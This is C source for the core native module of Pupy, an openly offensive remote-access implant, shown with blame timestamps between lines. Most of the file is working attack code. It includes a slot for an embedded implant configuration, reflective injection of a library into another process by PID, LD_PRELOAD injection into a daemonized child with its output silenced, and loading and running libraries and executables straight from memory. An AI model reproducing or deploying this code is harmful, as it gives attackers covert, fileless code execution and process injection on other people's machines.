2016-08-22 22:53:26 +00:00
/*
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
*/
2016-08-23 16:48:10 +00:00
# include <stdlib.h>
2016-08-22 22:53:26 +00:00
# include <stdint.h>
# include <stdio.h>
2016-08-24 06:49:14 +00:00
# include <sys/wait.h>
2016-08-23 16:48:10 +00:00
# include "debug.h"
2016-08-22 22:53:26 +00:00
# include "Python-dynload.h"
2016-08-23 16:48:10 +00:00
# include "daemonize.h"
2016-11-26 09:20:33 +00:00
# include <arpa/inet.h>
# include "tmplibrary.h"
2017-03-04 16:07:38 +00:00
# include <sys/mman.h>
2017-03-06 16:36:29 +00:00
# include "memfd.h"
2016-11-26 09:20:33 +00:00
2016-11-29 16:53:39 +00:00
# include "resources_library_compressed_string_txt.c"
2016-08-23 16:48:10 +00:00
int linux_inject_main ( int argc , char * * argv ) ;
2016-11-29 16:53:39 +00:00
static const char module_doc [ ] = " Builtins utilities for pupy " ;
2016-08-22 22:53:26 +00:00
2017-03-31 18:27:12 +00:00
static const char pupy_config [ 32768 ] = " ####---PUPY_CONFIG_COMES_HERE---#### \n " ;
2016-11-26 09:20:33 +00:00
2017-03-07 17:36:55 +00:00
static PyObject * ExecError ;
2016-11-29 16:53:39 +00:00
# include "lzmaunpack.c"
2016-11-26 09:20:33 +00:00
static PyObject * Py_get_modules ( PyObject * self , PyObject * args )
2016-08-22 22:53:26 +00:00
{
2017-03-16 21:01:13 +00:00
static PyObject * modules = NULL ;
if ( ! modules ) {
modules = PyObject_lzmaunpack (
resources_library_compressed_string_txt_start ,
resources_library_compressed_string_txt_size
) ;
2017-03-04 16:07:38 +00:00
2017-03-16 21:01:13 +00:00
munmap ( resources_library_compressed_string_txt_start ,
resources_library_compressed_string_txt_size ) ;
2017-03-04 16:10:06 +00:00
2017-03-16 21:01:13 +00:00
Py_XINCREF ( modules ) ;
}
2017-03-04 16:07:38 +00:00
2017-03-16 21:01:13 +00:00
return modules ;
2016-08-22 22:53:26 +00:00
}
static PyObject *
Py_get_pupy_config ( PyObject * self , PyObject * args )
{
2017-03-16 21:01:13 +00:00
static PyObject * config = NULL ;
if ( ! config ) {
size_t compressed_size = ntohl (
* ( ( unsigned int * ) pupy_config )
) ;
2017-03-04 16:07:38 +00:00
2017-03-16 21:01:13 +00:00
config = PyObject_lzmaunpack ( pupy_config + sizeof ( int ) , compressed_size ) ;
2017-03-04 16:10:06 +00:00
2017-03-16 21:01:13 +00:00
Py_XINCREF ( config ) ;
}
2016-11-29 16:53:39 +00:00
2017-03-16 21:01:13 +00:00
return config ;
2016-08-22 22:53:26 +00:00
}
static PyObject * Py_get_arch ( PyObject * self , PyObject * args )
{
2017-03-06 16:36:29 +00:00
# ifdef __x86_64__
2017-03-16 21:01:13 +00:00
return Py_BuildValue ( " s " , " x64 " ) ;
2017-03-06 16:36:29 +00:00
# elif __i386__
2017-03-16 21:01:13 +00:00
return Py_BuildValue ( " s " , " x86 " ) ;
2017-03-06 16:36:29 +00:00
# else
2017-03-16 21:01:13 +00:00
return Py_BuildValue ( " s " , " unknown " ) ;
2017-03-06 16:36:29 +00:00
# endif
2016-08-22 22:53:26 +00:00
}
2016-08-23 16:48:10 +00:00
static PyObject * Py_ld_preload_inject_dll ( PyObject * self , PyObject * args )
{
2017-03-16 21:01:13 +00:00
const char * lpCmdBuffer ;
const char * lpDllBuffer ;
uint32_t dwDllLenght ;
PyObject * py_HookExit ;
if ( ! PyArg_ParseTuple ( args , " zs#O " , & lpCmdBuffer , & lpDllBuffer , & dwDllLenght , & py_HookExit ) )
return NULL ;
char ldobject [ PATH_MAX ] = { } ;
int cleanup_workaround = 0 ;
int cleanup = 1 ;
int fd = drop_library ( ldobject , PATH_MAX , lpDllBuffer , dwDllLenght ) ;
if ( fd < 0 ) {
dprint ( " Couldn't drop library: %m \n " ) ;
return NULL ;
}
if ( is_memfd_path ( ldobject ) ) {
char buf2 [ PATH_MAX ] ;
strncpy ( buf2 , ldobject , sizeof ( buf2 ) ) ;
snprintf ( ldobject , sizeof ( ldobject ) , " /proc/%d/fd/%d " , getpid ( ) , fd ) ;
cleanup_workaround = 1 ;
cleanup = 0 ;
}
char cmdline [ PATH_MAX * 2 ] = { } ;
snprintf (
cmdline , sizeof ( cmdline ) , " LD_PRELOAD=%s HOOK_EXIT=%d CLEANUP=%d exec %s 1>/dev/null 2>/dev/null " ,
ldobject ,
PyObject_IsTrue ( py_HookExit ) ,
cleanup ,
lpCmdBuffer ,
ldobject
) ;
dprint ( " Program to execute in child context: %s \n " , cmdline ) ;
prctl ( 4 , 1 , 0 , 0 , 0 ) ;
pid_t pid = daemonize ( 0 , NULL , NULL , false ) ;
if ( pid = = 0 ) {
/* Daemonized context */
dprint ( " Daemonization complete - client \n " ) ;
execl ( " /bin/sh " , " /bin/sh " , " -c " , cmdline , NULL ) ;
unlink ( ldobject ) ;
exit ( 255 ) ;
}
dprint ( " Daemonization complete - server \n " ) ;
if ( cleanup_workaround ) {
sleep ( 2 ) ;
close ( fd ) ;
}
prctl ( 3 , 0 , 0 , 0 , 0 ) ;
if ( pid = = - 1 ) {
dprint ( " Couldn \' t daemonize: %m \n " ) ;
unlink ( ldobject ) ;
return PyInt_FromLong ( - 1 ) ;
}
return PyInt_FromLong ( pid ) ;
2016-08-23 16:48:10 +00:00
}
2016-08-22 22:53:26 +00:00
static PyObject * Py_reflective_inject_dll ( PyObject * self , PyObject * args )
{
2017-03-16 21:01:13 +00:00
uint32_t dwPid ;
const char * lpDllBuffer ;
uint32_t dwDllLenght ;
const char * cpCommandLine ;
if ( ! PyArg_ParseTuple ( args , " Is# " , & dwPid , & lpDllBuffer , & dwDllLenght ) )
return NULL ;
dprint ( " Injection requested. PID: %d \n " , dwPid ) ;
char buf [ PATH_MAX ] = { } ;
int fd = drop_library ( buf , PATH_MAX , lpDllBuffer , dwDllLenght ) ;
if ( ! fd ) {
dprint ( " Couldn't drop library: %m \n " ) ;
return NULL ;
}
if ( is_memfd_path ( buf ) ) {
char buf2 [ PATH_MAX ] ;
strncpy ( buf2 , buf , sizeof ( buf2 ) ) ;
snprintf ( buf , sizeof ( buf ) , " /proc/%d/fd/%d " , getpid ( ) , fd ) ;
}
char pid [ 20 ] = { } ;
snprintf ( pid , sizeof ( pid ) , " %d " , dwPid ) ;
char * linux_inject_argv [ ] = {
" linux-inject " , " -p " , pid , buf , NULL
} ;
dprint ( " Injecting %s to %d \n " , pid , buf ) ;
prctl ( 4 , 1 , 0 , 0 , 0 ) ;
pid_t injpid = fork ( ) ;
if ( injpid = = - 1 ) {
dprint ( " Couldn't fork \n " ) ;
close ( fd ) ;
unlink ( buf ) ;
return PyBool_FromLong ( 1 ) ;
}
int status ;
if ( injpid = = 0 ) {
int r = linux_inject_main ( 4 , linux_inject_argv ) ;
exit ( r ) ;
} else {
waitpid ( injpid , & status , 0 ) ;
}
prctl ( 3 , 0 , 0 , 0 , 0 ) ;
dprint ( " Injection code: %d \n " , status ) ;
unlink ( buf ) ;
/* close(fd); */
if ( WEXITSTATUS ( status ) = = 0 ) {
dprint ( " Injection successful \n " ) ;
return PyBool_FromLong ( 1 ) ;
} else {
dprint ( " Injection failed \n " ) ;
return PyBool_FromLong ( 0 ) ;
}
2016-08-22 22:53:26 +00:00
}
static PyObject * Py_load_dll ( PyObject * self , PyObject * args )
{
2017-03-16 21:01:13 +00:00
uint32_t dwPid ;
const char * lpDllBuffer ;
uint32_t dwDllLenght ;
const char * dllname ;
if ( ! PyArg_ParseTuple ( args , " ss# " , & dllname , & lpDllBuffer , & dwDllLenght ) )
return NULL ;
printf ( " Py_load_dll(%s) \n " , dllname ) ;
2017-03-21 16:16:33 +00:00
return PyLong_FromVoidPtr ( memdlopen ( dllname , lpDllBuffer , dwDllLenght ) ) ;
2016-08-22 22:53:26 +00:00
}
2017-03-07 17:36:55 +00:00
static PyObject * Py_mexec ( PyObject * self , PyObject * args )
{
2017-03-16 21:01:13 +00:00
const char * buffer = NULL ;
size_t buffer_size = 0 ;
PyObject * argv_obj = NULL ;
PyObject * redirected_obj = NULL ;
PyObject * detach_obj = NULL ;
if ( ! PyArg_ParseTuple ( args , " s#OOO " , & buffer , & buffer_size , & argv_obj , & redirected_obj , & detach_obj ) )
2017-03-07 17:36:55 +00:00
return NULL ;
2017-03-16 21:01:13 +00:00
Py_ssize_t argc = PySequence_Length ( argv_obj ) ;
if ( args < 1 ) {
PyErr_SetString ( ExecError , " Args not passed " ) ;
2017-03-07 17:36:55 +00:00
return NULL ;
2017-03-16 21:01:13 +00:00
}
bool redirected = PyObject_IsTrue ( redirected_obj ) ;
bool detach = PyObject_IsTrue ( detach_obj ) ;
char * * argv = ( char * * ) malloc ( sizeof ( char * ) * ( argc + 1 ) ) ;
if ( ! argv ) {
PyErr_SetString ( ExecError , " Too many args " ) ;
return NULL ;
}
int i ;
for ( i = 0 ; i < argc ; i + + ) {
PyObject * arg = NULL ;
arg = PySequence_GetItem ( argv_obj , i ) ;
if ( arg )
argv [ i ] = PyString_AsString ( arg ) ;
}
argv [ argc ] = NULL ;
int stdior [ 3 ] = { - 1 , - 1 , - 1 } ;
pid_t pid = memexec ( buffer , buffer_size , argv , stdior , redirected , detach ) ;
if ( pid < 0 ) {
PyErr_SetString ( ExecError , " Can't execute " ) ;
return NULL ;
}
PyObject * p_stdin = Py_None ;
PyObject * p_stdout = Py_None ;
PyObject * p_stderr = Py_None ;
if ( redirected ) {
p_stdin = PyFile_FromFile ( fdopen ( stdior [ 0 ] , " w " ) , " mexec:stdin " , " a " , fclose ) ;
p_stdout = PyFile_FromFile ( fdopen ( stdior [ 1 ] , " r " ) , " mexec:stdout " , " r " , fclose ) ;
p_stderr = PyFile_FromFile ( fdopen ( stdior [ 2 ] , " r " ) , " mexec:stderr " , " r " , fclose ) ;
PyFile_SetBufSize ( p_stdin , 0 ) ;
PyFile_SetBufSize ( p_stdout , 0 ) ;
PyFile_SetBufSize ( p_stderr , 0 ) ;
}
return Py_BuildValue ( " i(OOO) " , pid, p_stdin, p_stdout, p_stderr) ;
2017-03-07 17:36:55 +00:00
}
2016-08-22 22:53:26 +00:00
static PyMethodDef methods [ ] = {
2017-03-16 21:01:13 +00:00
{ " get_pupy_config " , Py_get_pupy_config , METH_NOARGS , " get_pupy_config() -> string " } ,
{ " get_arch " , Py_get_arch , METH_NOARGS , " get current pupy architecture (x86 or x64) " } ,
{ " get_modules " , Py_get_modules , METH_NOARGS , " get pupy library " } ,
{ " reflective_inject_dll " , Py_reflective_inject_dll , METH_VARARGS | METH_KEYWORDS , " reflective_inject_dll(pid, dll_buffer) \n reflectively inject a dll into a process. raise an Exception on failure " } ,
2017-03-21 16:16:33 +00:00
{ " load_dll " , Py_load_dll , METH_VARARGS , " load_dll(dllname, raw_dll) -> ptr " } ,
2017-03-16 21:01:13 +00:00
{ " mexec " , Py_mexec , METH_VARARGS , " mexec(data, argv, redirected_stdio, detach) -> (pid, (in, out, err)) " } ,
{ " ld_preload_inject_dll " , Py_ld_preload_inject_dll , METH_VARARGS , " ld_preload_inject_dll(cmdline, dll_buffer, hook_exit) -> pid " } ,
{ NULL , NULL } , /* Sentinel */
2016-08-22 22:53:26 +00:00
} ;
DL_EXPORT ( void )
initpupy ( void )
{
2017-03-16 21:01:13 +00:00
PyObject * pupy = Py_InitModule3 ( " pupy " , methods , module_doc ) ;
if ( ! pupy ) {
return NULL ;
}
2017-03-07 17:36:55 +00:00
2017-03-16 21:01:13 +00:00
ExecError = PyErr_NewException ( " pupy.error " , NULL , NULL ) ;
2017-03-07 17:36:55 +00:00
Py_INCREF ( ExecError ) ;
PyModule_AddObject ( pupy , " error " , ExecError ) ;
2016-08-22 22:53:26 +00:00
}